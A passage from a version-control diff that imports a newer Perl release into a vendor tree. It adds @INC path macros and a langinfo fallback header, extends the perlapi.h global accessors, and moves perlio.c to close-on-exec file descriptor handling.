+    /* this picks up sitearch as well */
+#	  define INCPUSH_SITELIB_EXP s = PerlEnv_sitelib_path(PERL_FS_VERSION, &len); \
+		if (s) incpush_use_sep(s, len, INCPUSH_ADD_SUB_DIRS|INCPUSH_CAN_RELOCATE);
+#  else
+#	  define INCPUSH_SITELIB_EXP S_incpush_use_sep(aTHX_ STR_WITH_LEN(SITELIB_EXP), \
+		INCPUSH_CAN_RELOCATE);
+#  endif
+#endif
+
+#ifdef PERL_VENDORARCH_EXP
+    /* vendorarch is always relative to vendorlib on Windows for
+     * DLL-based path intuition to work correctly */
+#  if !defined(WIN32)
+#		define INCPUSH_PERL_VENDORARCH_EXP  S_incpush_use_sep(aTHX_ STR_WITH_LEN(PERL_VENDORARCH_EXP), INCPUSH_CAN_RELOCATE);
+#  endif
+#endif
+
+#ifdef PERL_VENDORLIB_EXP
+#  if defined(WIN32)
+    /* this picks up vendorarch as well */
+#		define INCPUSH_PERL_VENDORLIB_EXP s = PerlEnv_vendorlib_path(PERL_FS_VERSION, &len); \
+			if (s) incpush_use_sep(s, len, INCPUSH_ADD_SUB_DIRS|INCPUSH_CAN_RELOCATE);
+#  else
+#		define INCPUSH_PERL_VENDORLIB_EXP S_incpush_use_sep(aTHX_ STR_WITH_LEN(PERL_VENDORLIB_EXP), INCPUSH_CAN_RELOCATE);
+#  endif
+#endif
+
+#ifdef ARCHLIB_EXP
+#	define INCPUSH_ARCHLIB_EXP S_incpush_use_sep(aTHX_ STR_WITH_LEN(ARCHLIB_EXP), INCPUSH_CAN_RELOCATE);
+#endif
+
+/* used by INCPUSH_PRIVLIB_EXP */
+#ifndef PRIVLIB_EXP
+#  define PRIVLIB_EXP "/usr/local/lib/perl5:/usr/local/lib/perl"
+#endif
+
+#if defined(WIN32)
+#	define INCPUSH_PRIVLIB_EXP s = PerlEnv_lib_path(PERL_FS_VERSION, &len); \
+    if (s) incpush_use_sep(s, len, INCPUSH_ADD_SUB_DIRS|INCPUSH_CAN_RELOCATE);
+#elif defined(NETWARE)
+#	define INCPUSH_PRIVLIB_EXP S_incpush_use_sep(aTHX_ PRIVLIB_EXP, 0, INCPUSH_CAN_RELOCATE);
+#else
+#	define INCPUSH_PRIVLIB_EXP S_incpush_use_sep(aTHX_ STR_WITH_LEN(PRIVLIB_EXP), INCPUSH_CAN_RELOCATE);
+#endif
+
+#ifdef PERL_OTHERLIBDIRS
+#	define INCPUSH_PERL_OTHERLIBDIRS S_incpush_use_sep(aTHX_ STR_WITH_LEN(PERL_OTHERLIBDIRS), \
+		      INCPUSH_ADD_VERSIONED_SUB_DIRS|INCPUSH_NOT_BASEDIR|INCPUSH_CAN_RELOCATE);
+#endif
+
+
+/* submacros for INCPUSH_PERL5LIB */
+
+#if defined(PERL_USE_SAFE_PUTENV) && ! defined(HAS_UNSETENV)
+# 	define _INCPUSH_PERL5LIB_IF	if (perl5lib && *perl5lib != '\0')
+#else
+# 	define _INCPUSH_PERL5LIB_IF	if (perl5lib)
+#endif
+
+#ifndef VMS
+/*
+ * It isn't possible to delete an environment variable with
+ * PERL_USE_SAFE_PUTENV set unless unsetenv() is also available, so in that
+ * case we treat PERL5LIB as undefined if it has a zero-length value.
+ */
+# define _INCPUSH_PERL5LIB_ADD _INCPUSH_PERL5LIB_IF incpush_use_sep(perl5lib, 0, INCPUSH_ADD_OLD_VERS|INCPUSH_NOT_BASEDIR);
+#else
+/* VMS */
+	/* Treat PERL5?LIB as a possible search list logical name -- the
+	 * "natural" VMS idiom for a Unix path string.  We allow each
+	 * element to be a set of |-separated directories for compatibility.
+	 */
+# define _INCPUSH_PERL5LIB_ADD char buf[256]; \
+	int idx = 0; \
+	if (vmstrnenv("PERL5LIB",buf,0,NULL,0)) \
+	    do { \
+		incpush_use_sep(buf, 0, \
+				INCPUSH_ADD_OLD_VERS|INCPUSH_NOT_BASEDIR); \
+	    } while (vmstrnenv("PERL5LIB",buf,++idx,NULL,0));
+#endif
+
+/* this macro is special and use submacros from above */
+#define INCPUSH_PERL5LIB if (!TAINTING_get) { _INCPUSH_PERL5LIB_ADD }
+
+/* Use the ~-expanded versions of APPLLIB (undocumented),
+    SITELIB and VENDORLIB for older versions
+*/
+#ifdef APPLLIB_EXP
+#	define INCPUSH_APPLLIB_OLD_EXP S_incpush_use_sep(aTHX_ STR_WITH_LEN(APPLLIB_EXP), \
+	    INCPUSH_ADD_OLD_VERS|INCPUSH_NOT_BASEDIR|INCPUSH_CAN_RELOCATE);
+#endif
+
+#if defined(SITELIB_STEM) && defined(PERL_INC_VERSION_LIST)
+    /* Search for version-specific dirs below here */
+#	define INCPUSH_SITELIB_STEM   S_incpush_use_sep(aTHX_ STR_WITH_LEN(SITELIB_STEM), \
+		      INCPUSH_ADD_OLD_VERS|INCPUSH_CAN_RELOCATE);
+#endif
+
+
+#if defined(PERL_VENDORLIB_STEM) && defined(PERL_INC_VERSION_LIST)
+    /* Search for version-specific dirs below here */
+#	define INCPUSH_PERL_VENDORLIB_STEM    S_incpush_use_sep(aTHX_ STR_WITH_LEN(PERL_VENDORLIB_STEM), \
+		      INCPUSH_ADD_OLD_VERS|INCPUSH_CAN_RELOCATE);
+#endif
+
+#ifdef PERL_OTHERLIBDIRS
+#	define INCPUSH_PERL_OTHERLIBDIRS_ARCHONLY  S_incpush_use_sep(aTHX_ STR_WITH_LEN(PERL_OTHERLIBDIRS), \
+		      INCPUSH_ADD_OLD_VERS|INCPUSH_ADD_ARCHONLY_SUB_DIRS|INCPUSH_CAN_RELOCATE);
+#endif
+
+
+/* define all undefined macros... */
+#ifndef INCPUSH_APPLLIB_EXP
+#define INCPUSH_APPLLIB_EXP
+#endif
+#ifndef INCPUSH_SITEARCH_EXP
+#define INCPUSH_SITEARCH_EXP
+#endif
+#ifndef INCPUSH_SITELIB_EXP
+#define INCPUSH_SITELIB_EXP
+#endif
+#ifndef INCPUSH_PERL_VENDORARCH_EXP
+#define INCPUSH_PERL_VENDORARCH_EXP
+#endif
+#ifndef INCPUSH_PERL_VENDORLIB_EXP
+#define INCPUSH_PERL_VENDORLIB_EXP
+#endif
+#ifndef INCPUSH_ARCHLIB_EXP
+#define INCPUSH_ARCHLIB_EXP
+#endif
+#ifndef INCPUSH_PRIVLIB_EXP
+#define INCPUSH_PRIVLIB_EXP
+#endif
+#ifndef INCPUSH_PERL_OTHERLIBDIRS
+#define INCPUSH_PERL_OTHERLIBDIRS
+#endif
+#ifndef INCPUSH_PERL5LIB
+#define INCPUSH_PERL5LIB
+#endif
+#ifndef INCPUSH_APPLLIB_OLD_EXP
+#define INCPUSH_APPLLIB_OLD_EXP
+#endif
+#ifndef INCPUSH_SITELIB_STEM
+#define INCPUSH_SITELIB_STEM
+#endif
+#ifndef INCPUSH_PERL_VENDORLIB_STEM
+#define INCPUSH_PERL_VENDORLIB_STEM
+#endif
+#ifndef INCPUSH_PERL_OTHERLIBDIRS_ARCHONLY
+#define INCPUSH_PERL_OTHERLIBDIRS_ARCHONLY
+#endif
+
+#endif /* DEFINE_INC_MACROS */

Added: vendor/perl/dist/perl_langinfo.h
===================================================================
--- vendor/perl/dist/perl_langinfo.h	                        (rev 0)
+++ vendor/perl/dist/perl_langinfo.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,190 @@
+/* Replaces <langinfo.h>, and allows our code to work on systems that don't
+ * have that. */
+
+#ifndef PERL_LANGINFO_H
+#define PERL_LANGINFO_H 1
+
+#include "config.h"
+
+#if defined(HAS_NL_LANGINFO) && defined(I_LANGINFO)
+#   include <langinfo.h>
+#endif
+
+/* NOTE that this file is parsed by ext/XS-APItest/t/locale.t, so be careful
+ * with changes */
+
+/* If foo doesn't exist define it to a negative number. */
+
+#ifndef CODESET
+#  define CODESET -1
+#endif
+#ifndef D_T_FMT
+#  define D_T_FMT -2
+#endif
+#ifndef D_FMT
+#  define D_FMT -3
+#endif
+#ifndef T_FMT
+#  define T_FMT -4
+#endif
+#ifndef T_FMT_AMPM
+#  define T_FMT_AMPM -5
+#endif
+#ifndef AM_STR
+#  define AM_STR -6
+#endif
+#ifndef PM_STR
+#  define PM_STR -7
+#endif
+#ifndef DAY_1
+#  define DAY_1 -8
+#endif
+#ifndef DAY_2
+#  define DAY_2 -9
+#endif
+#ifndef DAY_3
+#  define DAY_3 -10
+#endif
+#ifndef DAY_4
+#  define DAY_4 -11
+#endif
+#ifndef DAY_5
+#  define DAY_5 -12
+#endif
+#ifndef DAY_6
+#  define DAY_6 -13
+#endif
+#ifndef DAY_7
+#  define DAY_7 -14
+#endif
+#ifndef ABDAY_1
+#  define ABDAY_1 -15
+#endif
+#ifndef ABDAY_2
+#  define ABDAY_2 -16
+#endif
+#ifndef ABDAY_3
+#  define ABDAY_3 -17
+#endif
+#ifndef ABDAY_4
+#  define ABDAY_4 -18
+#endif
+#ifndef ABDAY_5
+#  define ABDAY_5 -19
+#endif
+#ifndef ABDAY_6
+#  define ABDAY_6 -20
+#endif
+#ifndef ABDAY_7
+#  define ABDAY_7 -21
+#endif
+#ifndef MON_1
+#  define MON_1 -22
+#endif
+#ifndef MON_2
+#  define MON_2 -23
+#endif
+#ifndef MON_3
+#  define MON_3 -24
+#endif
+#ifndef MON_4
+#  define MON_4 -25
+#endif
+#ifndef MON_5
+#  define MON_5 -26
+#endif
+#ifndef MON_6
+#  define MON_6 -27
+#endif
+#ifndef MON_7
+#  define MON_7 -28
+#endif
+#ifndef MON_8
+#  define MON_8 -29
+#endif
+#ifndef MON_9
+#  define MON_9 -30
+#endif
+#ifndef MON_10
+#  define MON_10 -31
+#endif
+#ifndef MON_11
+#  define MON_11 -32
+#endif
+#ifndef MON_12
+#  define MON_12 -33
+#endif
+#ifndef ABMON_1
+#  define ABMON_1 -34
+#endif
+#ifndef ABMON_2
+#  define ABMON_2 -35
+#endif
+#ifndef ABMON_3
+#  define ABMON_3 -36
+#endif
+#ifndef ABMON_4
+#  define ABMON_4 -37
+#endif
+#ifndef ABMON_5
+#  define ABMON_5 -38
+#endif
+#ifndef ABMON_6
+#  define ABMON_6 -39
+#endif
+#ifndef ABMON_7
+#  define ABMON_7 -40
+#endif
+#ifndef ABMON_8
+#  define ABMON_8 -41
+#endif
+#ifndef ABMON_9
+#  define ABMON_9 -42
+#endif
+#ifndef ABMON_10
+#  define ABMON_10 -43
+#endif
+#ifndef ABMON_11
+#  define ABMON_11 -44
+#endif
+#ifndef ABMON_12
+#  define ABMON_12 -45
+#endif
+#ifndef ERA
+#  define ERA -46
+#endif
+#ifndef ERA_D_FMT
+#  define ERA_D_FMT -47
+#endif
+#ifndef ERA_D_T_FMT
+#  define ERA_D_T_FMT -48
+#endif
+#ifndef ERA_T_FMT
+#  define ERA_T_FMT -49
+#endif
+#ifndef ALT_DIGITS
+#  define ALT_DIGITS -50
+#endif
+#ifndef RADIXCHAR
+#  define RADIXCHAR -51
+#endif
+#ifndef THOUSEP
+#  define THOUSEP -52
+#endif
+#ifndef YESEXPR
+#  define YESEXPR -53
+#endif
+#ifndef YESSTR
+#  define YESSTR -54
+#endif
+#ifndef NOEXPR
+#  define NOEXPR -55
+#endif
+#ifndef NOSTR
+#  define NOSTR -56
+#endif
+#ifndef CRNCYSTR
+#  define CRNCYSTR -57
+#endif
+
+#endif

Modified: vendor/perl/dist/perlapi.h
===================================================================
--- vendor/perl/dist/perlapi.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/perlapi.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -99,8 +99,32 @@
 
 #else	/* !PERL_CORE */
 
+#undef  PL_AboveLatin1
+#define PL_AboveLatin1		(*Perl_GAboveLatin1_ptr(NULL))
+#undef  PL_Assigned_invlist
+#define PL_Assigned_invlist	(*Perl_GAssigned_invlist_ptr(NULL))
 #undef  PL_C_locale_obj
 #define PL_C_locale_obj		(*Perl_GC_locale_obj_ptr(NULL))
+#undef  PL_GCB_invlist
+#define PL_GCB_invlist		(*Perl_GGCB_invlist_ptr(NULL))
+#undef  PL_HasMultiCharFold
+#define PL_HasMultiCharFold	(*Perl_GHasMultiCharFold_ptr(NULL))
+#undef  PL_LB_invlist
+#define PL_LB_invlist		(*Perl_GLB_invlist_ptr(NULL))
+#undef  PL_Latin1
+#define PL_Latin1		(*Perl_GLatin1_ptr(NULL))
+#undef  PL_NonL1NonFinalFold
+#define PL_NonL1NonFinalFold	(*Perl_GNonL1NonFinalFold_ptr(NULL))
+#undef  PL_SB_invlist
+#define PL_SB_invlist		(*Perl_GSB_invlist_ptr(NULL))
+#undef  PL_SCX_invlist
+#define PL_SCX_invlist		(*Perl_GSCX_invlist_ptr(NULL))
+#undef  PL_UpperLatin1
+#define PL_UpperLatin1		(*Perl_GUpperLatin1_ptr(NULL))
+#undef  PL_WB_invlist
+#define PL_WB_invlist		(*Perl_GWB_invlist_ptr(NULL))
+#undef  PL_XPosix_ptrs
+#define PL_XPosix_ptrs		(*Perl_GXPosix_ptrs_ptr(NULL))
 #undef  PL_appctx
 #define PL_appctx		(*Perl_Gappctx_ptr(NULL))
 #undef  PL_check
@@ -117,14 +141,22 @@
 #define PL_dollarzero_mutex	(*Perl_Gdollarzero_mutex_ptr(NULL))
 #undef  PL_fold_locale
 #define PL_fold_locale		(*Perl_Gfold_locale_ptr(NULL))
+#undef  PL_hash_chars
+#define PL_hash_chars		(*Perl_Ghash_chars_ptr(NULL))
 #undef  PL_hash_seed
 #define PL_hash_seed		(*Perl_Ghash_seed_ptr(NULL))
 #undef  PL_hash_seed_set
 #define PL_hash_seed_set	(*Perl_Ghash_seed_set_ptr(NULL))
+#undef  PL_hash_state
+#define PL_hash_state		(*Perl_Ghash_state_ptr(NULL))
 #undef  PL_hints_mutex
 #define PL_hints_mutex		(*Perl_Ghints_mutex_ptr(NULL))
 #undef  PL_keyword_plugin
 #define PL_keyword_plugin	(*Perl_Gkeyword_plugin_ptr(NULL))
+#undef  PL_keyword_plugin_mutex
+#define PL_keyword_plugin_mutex	(*Perl_Gkeyword_plugin_mutex_ptr(NULL))
+#undef  PL_lc_numeric_mutex
+#define PL_lc_numeric_mutex	(*Perl_Glc_numeric_mutex_ptr(NULL))
 #undef  PL_locale_mutex
 #define PL_locale_mutex		(*Perl_Glocale_mutex_ptr(NULL))
 #undef  PL_malloc_mutex
@@ -173,6 +205,36 @@
 #define PL_timesbase		(*Perl_Gtimesbase_ptr(NULL))
 #undef  PL_use_safe_putenv
 #define PL_use_safe_putenv	(*Perl_Guse_safe_putenv_ptr(NULL))
+#undef  PL_utf8_charname_begin
+#define PL_utf8_charname_begin	(*Perl_Gutf8_charname_begin_ptr(NULL))
+#undef  PL_utf8_charname_continue
+#define PL_utf8_charname_continue	(*Perl_Gutf8_charname_continue_ptr(NULL))
+#undef  PL_utf8_foldable
+#define PL_utf8_foldable	(*Perl_Gutf8_foldable_ptr(NULL))
+#undef  PL_utf8_foldclosures
+#define PL_utf8_foldclosures	(*Perl_Gutf8_foldclosures_ptr(NULL))
+#undef  PL_utf8_idcont
+#define PL_utf8_idcont		(*Perl_Gutf8_idcont_ptr(NULL))
+#undef  PL_utf8_idstart
+#define PL_utf8_idstart		(*Perl_Gutf8_idstart_ptr(NULL))
+#undef  PL_utf8_perl_idcont
+#define PL_utf8_perl_idcont	(*Perl_Gutf8_perl_idcont_ptr(NULL))
+#undef  PL_utf8_perl_idstart
+#define PL_utf8_perl_idstart	(*Perl_Gutf8_perl_idstart_ptr(NULL))
+#undef  PL_utf8_tofold
+#define PL_utf8_tofold		(*Perl_Gutf8_tofold_ptr(NULL))
+#undef  PL_utf8_tolower
+#define PL_utf8_tolower		(*Perl_Gutf8_tolower_ptr(NULL))
+#undef  PL_utf8_tosimplefold
+#define PL_utf8_tosimplefold	(*Perl_Gutf8_tosimplefold_ptr(NULL))
+#undef  PL_utf8_totitle
+#define PL_utf8_totitle		(*Perl_Gutf8_totitle_ptr(NULL))
+#undef  PL_utf8_toupper
+#define PL_utf8_toupper		(*Perl_Gutf8_toupper_ptr(NULL))
+#undef  PL_utf8_xidcont
+#define PL_utf8_xidcont		(*Perl_Gutf8_xidcont_ptr(NULL))
+#undef  PL_utf8_xidstart
+#define PL_utf8_xidstart	(*Perl_Gutf8_xidstart_ptr(NULL))
 #undef  PL_veto_cleanup
 #define PL_veto_cleanup		(*Perl_Gveto_cleanup_ptr(NULL))
 #undef  PL_watch_pvx

Modified: vendor/perl/dist/perlio.c
===================================================================
--- vendor/perl/dist/perlio.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/perlio.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -49,11 +49,6 @@
 
 #include "XSUB.h"
 
-#ifdef __Lynx__
-/* Missing proto on LynxOS */
-int mkstemp(char*);
-#endif
-
 #ifdef VMS
 #include <rms.h>
 #endif
@@ -243,22 +238,21 @@
 {
 #if defined(PERL_MICRO) || defined(__SYMBIAN32__)
     return NULL;
-#else
-#ifdef PERL_IMPLICIT_SYS
+#elif defined(PERL_IMPLICIT_SYS)
     return PerlSIO_fdupopen(f);
 #else
-#ifdef WIN32
+# ifdef WIN32
     return win32_fdupopen(f);
-#else
+# else
     if (f) {
-	const int fd = PerlLIO_dup(PerlIO_fileno(f));
+	const int fd = PerlLIO_dup_cloexec(PerlIO_fileno(f));
 	if (fd >= 0) {
 	    char mode[8];
-#ifdef DJGPP
+#  ifdef DJGPP
 	    const int omode = djgpp_get_stream_mode(f);
-#else
+#  else
 	    const int omode = fcntl(fd, F_GETFL);
-#endif
+#  endif
 	    PerlIO_intmode2str(omode,mode,NULL);
 	    /* the r+ is a hack */
 	    return PerlIO_fdopen(fd, mode);
@@ -268,10 +262,9 @@
     else {
 	SETERRNO(EBADF, SS_IVCHAN);
     }
-#endif
+# endif
     return NULL;
 #endif
-#endif
 }
 
 
@@ -296,7 +289,7 @@
                 return NULL;
 
 	    if (*mode == IoTYPE_NUMERIC) {
-		fd = PerlLIO_open3(name, imode, perm);
+		fd = PerlLIO_open3_cloexec(name, imode, perm);
 		if (fd >= 0)
 		    return PerlIO_fdopen(fd, mode + 1);
 	    }
@@ -362,14 +355,14 @@
 	    PerlProc_getgid() == PerlProc_getegid()) {
 	    const char * const s = PerlEnv_getenv("PERLIO_DEBUG");
 	    if (s && *s)
-		PL_perlio_debug_fd
-		    = PerlLIO_open3(s, O_WRONLY | O_CREAT | O_APPEND, 0666);
+		PL_perlio_debug_fd = PerlLIO_open3_cloexec(s,
+					O_WRONLY | O_CREAT | O_APPEND, 0666);
 	    else
-		PL_perlio_debug_fd = PerlLIO_dup(2); /* stderr */
+		PL_perlio_debug_fd = PerlLIO_dup_cloexec(2); /* stderr */
 	} else {
 	    /* tainting or set*id, so ignore the environment and send the
                debug output to stderr, like other -D switches.  */
-	    PL_perlio_debug_fd = PerlLIO_dup(2); /* stderr */
+	    PL_perlio_debug_fd = PerlLIO_dup_cloexec(2); /* stderr */
 	}
     }
     if (PL_perlio_debug_fd > 0) {
@@ -934,9 +927,7 @@
 			    if (*e++) {
 				break;
 			    }
-			    /*
-			     * Drop through
-			     */
+                            /* Fall through */
 			case '\0':
 			    e--;
 			    Perl_ck_warner(aTHX_ packWARN(WARN_LAYER),
@@ -2274,9 +2265,7 @@
     new_array = (int*) realloc(PL_perlio_fd_refcnt, new_max * sizeof(int));
 
     if (!new_array) {
-#ifdef USE_ITHREADS
 	MUTEX_UNLOCK(&PL_perlio_mutex);
-#endif
 	croak_no_mem();
     }
 
@@ -2305,9 +2294,7 @@
     if (fd >= 0) {
 	dVAR;
 
-#ifdef USE_ITHREADS
 	MUTEX_LOCK(&PL_perlio_mutex);
-#endif
 	if (fd >= PL_perlio_fd_refcnt_size)
 	    S_more_refcounted_fds(aTHX_ fd);
 
@@ -2320,9 +2307,7 @@
 	DEBUG_i( PerlIO_debug("refcnt_inc: fd %d refcnt=%d\n",
                               fd, PL_perlio_fd_refcnt[fd]) );
 
-#ifdef USE_ITHREADS
 	MUTEX_UNLOCK(&PL_perlio_mutex);
-#endif
     } else {
 	/* diag_listed_as: refcnt_inc: fd %d%s */
 	Perl_croak(aTHX_ "refcnt_inc: fd %d < 0\n", fd);
@@ -2339,9 +2324,7 @@
 #else
 	dVAR;
 #endif
-#ifdef USE_ITHREADS
 	MUTEX_LOCK(&PL_perlio_mutex);
-#endif
 	if (fd >= PL_perlio_fd_refcnt_size) {
 	    /* diag_listed_as: refcnt_dec: fd %d%s */
 	    Perl_croak_nocontext("refcnt_dec: fd %d >= refcnt_size %d\n",
@@ -2354,9 +2337,7 @@
 	}
 	cnt = --PL_perlio_fd_refcnt[fd];
 	DEBUG_i( PerlIO_debug("refcnt_dec: fd %d refcnt=%d\n", fd, cnt) );
-#ifdef USE_ITHREADS
 	MUTEX_UNLOCK(&PL_perlio_mutex);
-#endif
     } else {
 	/* diag_listed_as: refcnt_dec: fd %d%s */
 	Perl_croak_nocontext("refcnt_dec: fd %d < 0\n", fd);
@@ -2371,9 +2352,7 @@
     int cnt = 0;
     if (fd >= 0) {
 	dVAR;
-#ifdef USE_ITHREADS
 	MUTEX_LOCK(&PL_perlio_mutex);
-#endif
 	if (fd >= PL_perlio_fd_refcnt_size) {
 	    /* diag_listed_as: refcnt: fd %d%s */
 	    Perl_croak(aTHX_ "refcnt: fd %d >= refcnt_size %d\n",
@@ -2385,9 +2364,7 @@
 		       fd, PL_perlio_fd_refcnt[fd]);
 	}
 	cnt = PL_perlio_fd_refcnt[fd];
-#ifdef USE_ITHREADS
 	MUTEX_UNLOCK(&PL_perlio_mutex);
-#endif
     } else {
 	/* diag_listed_as: refcnt: fd %d%s */
 	Perl_croak(aTHX_ "refcnt: fd %d < 0\n", fd);
@@ -2665,6 +2642,7 @@
 		IV n, const char *mode, int fd, int imode,
 		int perm, PerlIO *f, int narg, SV **args)
 {
+    bool known_cloexec = 0;
     if (PerlIOValid(f)) {
 	if (PerlIOBase(f)->tab && PerlIOBase(f)->flags & PERLIO_F_OPEN)
 	    (*PerlIOBase(f)->tab->Close)(aTHX_ f);
@@ -2685,10 +2663,15 @@
 	    const char *path = SvPV_const(*args, len);
 	    if (!IS_SAFE_PATHNAME(path, len, "open"))
                 return NULL;
-	    fd = PerlLIO_open3(path, imode, perm);
+	    fd = PerlLIO_open3_cloexec(path, imode, perm);
+	    known_cloexec = 1;
 	}
     }
     if (fd >= 0) {
+	if (known_cloexec)
+	    setfd_inhexec_for_sysfd(fd);
+	else
+	    setfd_cloexec_or_inhexec_by_sysfdness(fd);
 	if (*mode == IoTYPE_IMPLICIT)
 	    mode++;
 	if (!f) {
@@ -2723,7 +2706,9 @@
     const PerlIOUnix * const os = PerlIOSelf(o, PerlIOUnix);
     int fd = os->fd;
     if (flags & PERLIO_DUP_FD) {
-	fd = PerlLIO_dup(fd);
+	fd = PerlLIO_dup_cloexec(fd);
+	if (fd >= 0)
+	    setfd_inhexec_for_sysfd(fd);
     }
     if (fd >= 0) {
 	f = PerlIOBase_dup(aTHX_ f, o, param, flags);
@@ -2987,7 +2972,7 @@
 	       Note that the errno value set by a failing fdopen
 	       varies between stdio implementations.
 	     */
-            const int fd = PerlLIO_dup(fd0);
+            const int fd = PerlLIO_dup_cloexec(fd0);
 	    FILE *f2;
             if (fd < 0) {
                 return f;
@@ -3009,11 +2994,12 @@
 	if ((f = PerlIO_push(aTHX_(PerlIO_allocate(aTHX)), PERLIO_FUNCS_CAST(&PerlIO_stdio), mode, NULL))) {
 	    s = PerlIOSelf(f, PerlIOStdio);
 	    s->stdio = stdio;
+	    fd0 = fileno(stdio);
+	    if(fd0 != -1){
+		PerlIOUnix_refcnt_inc(fd0);
+		setfd_cloexec_or_inhexec_by_sysfdness(fd0);
+	    }
 #ifdef EBCDIC
-		fd0 = fileno(stdio);
-		if(fd0 != -1){
-			PerlIOUnix_refcnt_inc(fd0);
-		}
 		else{
 			rc = fldata(stdio,filename,&fileinfo);
 			if(rc != 0){
@@ -3024,8 +3010,6 @@
 			}
 			  /*This MVS dataset , OK!*/
 		}
-#else
-	    PerlIOUnix_refcnt_inc(fileno(stdio));
 #endif
 	}
     }
@@ -3051,7 +3035,9 @@
 	if (!s->stdio)
 	    return NULL;
 	s->stdio = stdio;
-	PerlIOUnix_refcnt_inc(fileno(s->stdio));
+	fd = fileno(stdio);
+	PerlIOUnix_refcnt_inc(fd);
+	setfd_cloexec_or_inhexec_by_sysfdness(fd);
 	return f;
     }
     else {
@@ -3062,7 +3048,7 @@
                 return NULL;
 	    if (*mode == IoTYPE_NUMERIC) {
 		mode++;
-		fd = PerlLIO_open3(path, imode, perm);
+		fd = PerlLIO_open3_cloexec(path, imode, perm);
 	    }
 	    else {
 	        FILE *stdio;
@@ -3082,7 +3068,9 @@
 		    f = PerlIO_push(aTHX_ f, self, mode, PerlIOArg);
 		    if (f) {
 			PerlIOSelf(f, PerlIOStdio)->stdio = stdio;
-			PerlIOUnix_refcnt_inc(fileno(stdio));
+			fd = fileno(stdio);
+			PerlIOUnix_refcnt_inc(fd);
+			setfd_cloexec_or_inhexec_by_sysfdness(fd);
 		    } else {
 			PerlSIO_fclose(stdio);
 		    }
@@ -3123,7 +3111,9 @@
 		}
 		if ((f = PerlIO_push(aTHX_ f, self, mode, PerlIOArg))) {
 		    PerlIOSelf(f, PerlIOStdio)->stdio = stdio;
-		    PerlIOUnix_refcnt_inc(fileno(stdio));
+		    fd = fileno(stdio);
+		    PerlIOUnix_refcnt_inc(fd);
+		    setfd_cloexec_or_inhexec_by_sysfdness(fd);
 		}
 		return f;
 	    }
@@ -3144,7 +3134,7 @@
 	const int fd = fileno(stdio);
 	char mode[8];
 	if (flags & PERLIO_DUP_FD) {
-	    const int dfd = PerlLIO_dup(fileno(stdio));
+	    const int dfd = PerlLIO_dup_cloexec(fileno(stdio));
 	    if (dfd >= 0) {
 		stdio = PerlSIO_fdopen(dfd, PerlIO_modestr(o,mode));
 		goto set_this;
@@ -3160,7 +3150,9 @@
     set_this:
 	PerlIOSelf(f, PerlIOStdio)->stdio = stdio;
         if(stdio) {
-	    PerlIOUnix_refcnt_inc(fileno(stdio));
+	    int fd = fileno(stdio);
+	    PerlIOUnix_refcnt_inc(fd);
+	    setfd_cloexec_or_inhexec_by_sysfdness(fd);
         }
     }
     return f;
@@ -3290,7 +3282,6 @@
 	    if (stdio == stdout || stdio == stderr)
 		return PerlIO_flush(f);
         }
-#ifdef USE_ITHREADS
         MUTEX_LOCK(&PL_perlio_mutex);
         /* Right. We need a mutex here because for a brief while we
            will have the situation that fd is actually closed. Hence if
@@ -3309,7 +3300,6 @@
 
            Except that correctness trumps speed.
            Advice from klortho #11912. */
-#endif
 	if (invalidate) {
             /* Tricky - must fclose(stdio) to free memory but not close(fd)
 	       Use Sarathy's trick from maint-5.6 to invalidate the
@@ -3319,7 +3309,7 @@
 	    SAVE_ERRNO;
 	    invalidate = PerlIOStdio_invalidate_fileno(aTHX_ stdio);
 	    if (!invalidate) {
-		dupfd = PerlLIO_dup(fd);
+		dupfd = PerlLIO_dup_cloexec(fd);
 #ifdef USE_ITHREADS
 		if (dupfd < 0) {
 		    /* Oh cXap. This isn't going to go well. Not sure if we can
@@ -3344,12 +3334,11 @@
 	result = close(fd);
 #endif
 	if (dupfd >= 0) {
-	    PerlLIO_dup2(dupfd,fd);
+	    PerlLIO_dup2_cloexec(dupfd, fd);
+	    setfd_inhexec_for_sysfd(fd);
 	    PerlLIO_close(dupfd);
 	}
-#ifdef USE_ITHREADS
         MUTEX_UNLOCK(&PL_perlio_mutex);
-#endif
 	return result;
     }
 }
@@ -3606,9 +3595,9 @@
          * - casting the LHS to (void*) -- totally unportable
          *
          * So let's try silencing the warning at least for gcc. */
-        GCC_DIAG_IGNORE(-Wpointer-sign);
+        GCC_DIAG_IGNORE_STMT(-Wpointer-sign);
 	PerlSIO_set_ptr(stdio, ptr); /* LHS STDCHAR* cast non-portable */
-        GCC_DIAG_RESTORE;
+        GCC_DIAG_RESTORE_STMT;
 #ifdef STDIO_PTR_LVAL_SETS_CNT
 	assert(PerlSIO_get_cnt(stdio) == (cnt));
 #endif
@@ -3627,14 +3616,12 @@
      */
 #ifdef STDIO_CNT_LVALUE
     PerlSIO_set_cnt(stdio, cnt);
-#else                           /* STDIO_CNT_LVALUE */
-#if (defined(STDIO_PTR_LVALUE) && defined(STDIO_PTR_LVAL_SETS_CNT))
+#elif (defined(STDIO_PTR_LVALUE) && defined(STDIO_PTR_LVAL_SETS_CNT))
     PerlSIO_set_ptr(stdio,
 		    PerlSIO_get_ptr(stdio) + (PerlSIO_get_cnt(stdio) -
 					      cnt));
 #else                           /* STDIO_PTR_LVAL_SETS_CNT */
     PerlProc_abort();
-#endif                          /* STDIO_PTR_LVAL_SETS_CNT */
 #endif                          /* STDIO_CNT_LVALUE */
 }
 
@@ -4305,7 +4292,7 @@
     if (!b->buf) {
 	if (!b->bufsiz)
 	    b->bufsiz = PERLIOBUF_DEFAULT_BUFSIZ;
-	Newxz(b->buf,b->bufsiz, STDCHAR);
+	Newx(b->buf,b->bufsiz, STDCHAR);
 	if (!b->buf) {
 	    b->buf = (STDCHAR *) & b->oneword;
 	    b->bufsiz = sizeof(b->oneword);
@@ -5058,33 +5045,29 @@
      const int fd = win32_tmpfd();
      if (fd >= 0)
 	  f = PerlIO_fdopen(fd, "w+b");
-#else /* WIN32 */
-#    if defined(HAS_MKSTEMP) && ! defined(VMS) && ! defined(OS2)
+#elif ! defined(VMS) && ! defined(OS2)
      int fd = -1;
      char tempname[] = "/tmp/PerlIO_XXXXXX";
      const char * const tmpdir = TAINTING_get ? NULL : PerlEnv_getenv("TMPDIR");
      SV * sv = NULL;
      int old_umask = umask(0177);
-     /*
-      * I have no idea how portable mkstemp() is ... NI-S
-      */
